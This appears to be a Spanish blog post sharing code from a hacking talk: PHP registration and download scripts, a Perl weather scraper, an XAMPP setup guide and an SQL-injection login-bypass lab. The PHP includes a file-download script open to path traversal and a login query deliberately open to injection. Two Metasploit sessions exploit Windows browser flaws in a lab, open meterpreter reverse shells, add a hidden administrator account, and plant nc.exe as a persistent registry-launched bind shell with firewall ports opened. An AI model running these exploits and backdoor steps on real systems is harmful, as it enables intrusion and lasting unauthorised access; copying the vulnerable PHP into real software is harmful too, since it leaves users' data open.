Bien les paso algunas fotos y la presentación, donde no esta muchas cosas que mostre de codigo en php ya que no estraban en los slays, pero si algunas cosas importantes.




Asado en lo de Padilla, y Yamila cocinando naaaa jajajaja

Saludos
$mysqli = new mysqli('host', 'user', 'pass', 'db');
$stmt=$mysqli->prepare("SELECT * FROM NOTICIAS WHERE ID=?");
$stmt->bind_param('i', $_GET['id']);
$stmt->execute();
<html>
Alta Usuario
<form action='' method='post'>
<br>
Nombre:
<br>
<input type='text' name='nombre'>
<br>
<br>
<input type='text' name='email'>
<br>
Usuario:
<br>
<input type='text' name='user'>
<br>
Contraseña:
<br>
<input type='password' name='pass'>
<br>
<input type='submit' value='Enviar' name='enviar'>
</form>
function pass_cript($pass){
for($i=0;$i <3;$i++){ pass="md5($pass);" stmt=" $mysqli">prepare("SELECT usuario FROM usuarios WHERE usuario=?");
$stmt->bind_param('s', $usuario);
$stmt->execute();
$stmt->bind_result($result);
#tercer if
if($stmt->fetch()== false)
{
verificar_pass();
}
else {
echo "El usuario ya existe";
}
}
function alta(){
global $mysqli;
global $usuario;
global $password;
global $email;
global $nombre;
$password=pass_cript($password);
$stmt=$mysqli->prepare("INSERT INTO usuarios (usuario, password, Email, Nombre) VALUES (?, ?, ?, ?)");
// Bind your variables to replace the ?s
$stmt->bind_param('ssss', $usuario, $password, $email, $nombre);
// Execute query
$stmt->execute();
printf("%d Fila Insertada.\n", $stmt->affected_rows);
// Close statement object
$stmt->close();
echo "El usuario ".$usuario." ha sido dado de alta!!";
}
function verificar_pass(){
global $password;
if(strlen($password) > 7 )
{
if (preg_match('/[A-Z]+[0-9]+/', $password) || preg_match('/[0-9]+[A-Z]+/', $password))
{
alta();
}
else
{
echo "El password debe estar constituido por al menos una mayuscula y al menos un digito";
exit;
}
}
else
{
echo "El password debe ser mayor a 7 caracteres";
}
}
#Prepared Statements
$mysqli = new mysqli('host', 'user', 'pass', 'db');
if (mysqli_connect_errno())
{
printf("Can't connect to MySQL Server. Errorcode: %s\n", mysqli_connect_error());
exit;
}
#Primer if
if(!empty($_POST['enviar']))
{
#segundo if
if (isset($_POST['nombre']) && !empty($_POST['nombre']) && isset($_POST['email']) && !empty($_POST['email']) && isset($_POST['user']) && !empty($_POST['user']) && isset($_POST['pass']) && !empty($_POST['pass']))
{
$nombre=$_POST['nombre'];
$usuario=$_POST['user'];
$password=$_POST['pass'];
$email=$_POST['email'];
verificar_usuario();
}#cierre segundo if
else
{
echo "Debe rellenar los camposs gracias";
}
}#cierro primer if
?>
$filename = $_GET['file'];
// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));
if ( ! file_exists( $filename ) )
{
echo "not file";
exit;
};
switch( $file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");
?>
include("conectar.php");
$index="http://".$_SERVER['SERVER_NAME']."/index.php";
$filename = basename($_GET['file']);
$ruta="descargas/".$filename;
// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));
#------------Bloque Seguridad ------------------
if(preg_match('/(php|asp|ini|inc|bak)/',$file_extension)){
header("Location:".$index);
}
elseif( $filename == "" )
{
header("Location:".$index);
}
elseif( ! file_exists( $ruta ) )
{
header("Location:".$index);
};
#-----------Fin Bloque Seguridad--------------
switch($file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=\"".$filename."\";" );#nombre del archivo en la descarga
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($ruta));
readfile("$ruta");
?>
C:\>sc query webclient | find "STATE"
STATE : 4 RUNNING
#msfconsole
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|
=[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r9306 updated today (2010.05.15)
msf > use exploit/windows/browser/java_ws_arginject_altjvm
msf exploit(java_ws_arginject_altjvm) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(java_ws_arginject_altjvm) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LPORT 3333
LPORT => 3333
msf exploit(java_ws_arginject_altjvm) >
[*] Started reverse handler on 192.168.56.1:3333
[*] Using URL: http://192.168.56.1:80/
[*] Server started.
meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u-p
Or: getgui -e
OPTIONS:
-e Enable RDP only.
-fForward RDP Connection.
-h Help menu.
-lThe language switch
Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN'
-pThe Password of the user to add.
-uThe Username of the user to add.
case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"
end
case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"
when "es_ES"
rdu = "Usuarios de escritorio remoto"
admin = "Administradores"
end
meterpreter > run getgui -u hacker -p 123456 -l es_ES
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language set by user to: 'es_ES'
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: hacker with Password: 123456
[*] Adding User: hacker to local group 'Usuarios de escritorio remoto'
[*] Adding User: hacker to local group 'Administradores'
[*] You can now login with the created user
#!/usr/bin/perl
use LWP::Simple;
use utf8 ;
no utf8 ;
$pag="http://www.weather.com/weather/today/Corrientes+Argentina+ARCS0025";
$ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (X11; U; Linux x86_64; es; rv:1.9.1.8) Gecko/20100218 Firefox/3.0.3 (like Firefox/3.5.8)');
$ua->default_header('Accept-Language' => "es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3");#acceptar lenguage español
$ua->timeout(7);
#$ua->env_proxy;
$response = $ua->get($pag);
$pedido= $response->content;
#$pedido =~m/<p align=center><b>HOY(.*?)<\/b><\/p>/s;
#$dia=$1;
#--------------------------Tomo fecha actualizacion de datos--------------------------------------------s#
#
$pedido =~m/<p class="ccWeatherTimeStamp">Updated:\s*(.*?)Local Time<\/p>/s;#tomo la actulizacion de los datos
$update=$1;
$update=~s/\n//gi;$update=~s/\t//gi;#limpio los \n y los \t
#----------Cambio los meses a Español------------
$update=~s/Jan/Enero/gi;
$update=~s/Feb/Febreol/gi;
$update=~s/Mar/Marzol/gi;
$update=~s/Apr/Abril/gi;
$update=~s/May/Mayo/gi;
$update=~s/June/Junio/gi;
$update=~s/July/Julio/gi;
$update=~s/Aug/Agosto/gi;
$update=~s/Sept/Septiembre/gi;
$update=~s/Oct/Octubre/gi;
$update=~s/Nov/Noviembre/gi;
$update=~s/Dec/Diciembre/gi;
#-----------------Fin CAmbio Meses---------------------
#--------tomo la temperatura-----------
$pedido =~m/<div class="ccTemp">(\d+)° F<\/div>/s;
$temp=$1;
$centigrados=($temp - 32) * 5/9;#paso de F a C
$centigrados = sprintf("%.1f", $centigrados);#truncoo el numero
#-------------tomo el estado---------------
$pedido =~m/<div class="ccdata"><p>(.*?)<\/p><\/div>/s;
$estado=$1;
#--------------------------creo el archivoi--------------------------------------------s#
($sec,$min,$hour)= localtime(time);
open (AR,">"."temp.txt") || die "No puede crear el archivo error: $!";
print AR "Hola Francisco, BUEN DIA!!\n";
print AR "Son las $hour horas, con $min minutos, y $sec segundos.\n";
print AR "Estado Del Tiempo. -- Corrientes Argentina --.\n";
print AR "Ultima Actualizacion del Pronostico ".$update.".\n";
print AR "En este momento, la temperatura es de: ".$centigrados." Centigrados.\n";
print AR "con un estado del tiempo ".$estado."\n";
close(AR);
system('festival --language spanish --tts temp.txt');
#tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt
Esto creara una carpeta llamada lampp, en el directorio /opt. Por lo tanto todos los archivos, binarios, conflagraciones, bases de datos, etc estarán en el /opt/lampp.
Podemos ir posicionandonos en ella e ir familiarizandonos,
#cd /opt/lampp; ls -la
La conflagración del Lampp por ahora la vamos a dejar como default, para poder hacer inyecciones copadas sobre MySQL. Lo que si vamos a cambiar es el DocumentRoot
de apache, que es la raíz lógica de donde apache empieza a leer los documentos, para ellos tenemos que editar el archivo httpd.conf de Apache
#cd /opt/lampp/etc
Realizamos un backups antes de realizar cambios en archivos de configuraciones de cualquier tipo.
#cp httpd.conf httpd.conf.backup
#nano httpd.conf
Yo uso nano uds podrian usar VI o el que quisieran, buscamos la linea donde dice
DocumentRoot "/opt/lampp/htdocs"
Y cambiamos a una carpeta en nuestro home, osea en mi caso
DocumentRoot "/home/magnobalt/www"
Una vez hecho esto guardamos, abrimos otra shell, como usuario comun y creamos la carpeta www en nuestro home
$mkdir /home/magnobalt/www
Listo con esto tenemos configurado para que apache venga a leer a esta carpeta y busque los archivos para ejecutar en el servidor. Aquí es donde vamos a colocar nuestro archivos html, js, php, css, etc.
Para alzar los servicios de lampp hacemos lo siguiente como r00t.
#/opt/lampp/lampp start
Starting XAMPP for Linux 1.7.2...
XAMPP: Starting Apache with SSL (and PHP5)...
XAMPP: Starting MySQL...
XAMPP: Starting FTP ..
XAMPP for Linux started.
Con esa informacion significa que todos los servicios estan corriendo sin problemas, en caso de que haya problema les avisara con una leyenda, pero si no tocaron nada todo correra perfectamente.
Para poder empezar podemos ir a nuestro navegador y escribir http://localhost o http://127.0.0.1, lo cual es la ip de loopback, osea que ingresamos a nuestra propia maquina,
como nos tenemos ningun archivo index,html, index.php etc, todavia en nuestro DocumentRoot en mi caso /home/magnobalt/www, seguramente mostrara seguramente un error 403 Fordiben.
Para poder ingresar al PhpMyAdmin colocamos en el browser http://localhost/phpmyadmin, se daran cuenta que entra directamente, eso es por que al instalar lampp, la contraseña del usuario root en mysql esta en blanco, Obivamente esto no deberia quedar asi, se tendria que colocar una, pero aqui obviaremos.
Primer SQL Injection:
Lo que primero vamos a realizar es un bypass a un login, esta inyeccion es la mas facil de entender, ¿Bypass WTF!!?. El termino Bypass significa saltarse algun tipo
de seguridad, por ejemplo, si un programador me coloca en una funcion que una variable no acepte numeros enteros, y yo de alguna forma logro que la aplicacion
tome numeros enteros, estoy bypaseando (saltando) la seguridad del programador. :)
Lo que haremos es crear un Panel de Administrador, donde pedira usuario y contraseña, pero antes que nada para esto nesesitamos crear una Base de Datos, y una tabla
llamada Usuarios. Para ellos usaremos el PhpMyadmin.
En la imagen se puede observar como estamos creando una tabla llamada usuarios con los compos, id, usuario, password, nombre y correo. EL campo id es nuestra clave y es incremental.
En SQL seria de esta forma:
CREATE TABLE `hacking`.`usuarios` (
`id` INT( 2 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`usuario` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 20 ) NOT NULL ,
`nombre` VARCHAR( 35 ) NOT NULL ,
`correo` VARCHAR( 50 ) NOT NULL
) ENGINE = MYISAM ;
index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Hacking Nea</title>
<link rel="STYLESHEET" type="text/css" href="../estilo.css">
<body>
<div id="contenedor">
<div id="encabezado">
</div>
<!--fin de encabezado-->
<div id="menu">
</div>
<div id="areatexto">
<div id="cuadrodialogo">
<h1><b>Sistema de Logueo ZamBonet</b></h1>
<form action="login.php" method="post">
<br>Nombre:
<br>
<input type="text" name="nombre" maxlength="8">
<br>
<br>
Contrasena:
<br>
<input type="password" name="pass" maxlength="80">
<br>
<input type="submit" value="Enviar">
</form>
</div>
</div>
<!--fin areatexto-->
<div id="pie">
<!--fin pie-->
</div>
<!--fin contenedor-->
</body>
</html>
<?php
$hostname = "localhost";
$database = "hacking";
$username = "root";
$password = "";
$conexion = mysql_connect($hostname, $username, $password) or die ('Error conexion'.mysql_error());
$usuario=$_POST['nombre'];
$password=$_POST['pass'];
mysql_select_db($database,$conexion);
$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";
echo "Esta es la Consulta: ".$sql;
echo "<br>";echo "<br>";
$login=mysql_query($sql,$conexion) or die ('Error en la consulta'. mysql_error());
$row=mysql_fetch_array($login);
if(isset($row) && !empty($row)){ //verifico que la variable $row tenga informacion
echo "<br>";
echo "<h1><b>ACCESO PERMITIDO<b></h1>";
echo "<br>";
echo "Estos son tus datos";
echo "<br>";echo "<br>";
echo "Usuario: ".$row['usuario'];
echo "<br>";
echo "Password: ".$row['password'];
echo "<br>";
echo "Email: ".$row['correo'];
}
else
{
echo "<h1><b>ERRORRRRRR PAYASO <b></h1>";
}
?>
$usuario=$_POST['nombre'];
$password=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";
SELECT * FROM usuarios WHERE usuario='admin' AND password='123456'
$usuario=$_POST['nombre'];
$password=$_POST['pass'];
$usuario= addslashes($usuario);
$password= addslashes($password);
$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";
Magno:/home/magno# msfconsole
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8878 updated today (2010.03.22)
msf > use exploit/windows/browser/ie_iepeers_pointer
msf exploit(ie_iepeers_pointer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_iepeers_pointer) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set URIPATH /
URIPATH => /
msf exploit(ie_iepeers_pointer) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.56.1 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.56.1 yes The local address
LPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0
msf exploit(ie_iepeers_pointer) > exploit
[*] Exploit running as background job.
msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] Sending Internet Explorer iepeers.dll Use After Free to 192.168.56.101:1034...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1035)
[*] Session ID 1 (192.168.56.1:4444 -> 192.168.56.101:1035) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1364)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 188
[*] New server process: notepad.exe (188)
msf exploit(ie_iepeers_pointer) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter VICTIMA-55919B2\victima 2 @ VICTIMA-55919B2 192.168.56.1:4444 -> 192.168.56.101:1035
msf exploit(ie_iepeers_pointer) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: VICTIMA-55919B2
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: es_ES
meterpreter >
meterpreter > upload /home/magno/nc.exe c:\\windows\\system32
[*] uploading : /home/magno/nc.exe -> c:\windows\system32
[*] uploaded : /home/magno/nc.exe -> c:\windows\system32\nc.exe
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
-v realtek -d 'C:\Windows\System32\nc.exe -L -d -e cmd.exe -p 1234'
Successful set Hacked.
meterpreter > execute -f cmd.exe -i -H
Process 560 created.
Channel 3 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\victima 2\Escritorio>netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
Aceptar
C:\Documents and Settings\victima 2\Escritorio>netsh firewall show portopening
netsh firewall show portopening
Configuraci�n de puerto para el perfil Est�ndar:
Puerto Protocolo Modo Nombre
-------------------------------------------------------------------
1234 TCP Habilitar c:\windows\system32\nc.exe
1234 UDP Habilitar c:\windows\system32\nc.exe
C:\Documents and Settings\victima 2\Escritorio>^C
Terminate channel 3? [y/N] y
meterpreter > reboot
Rebooting...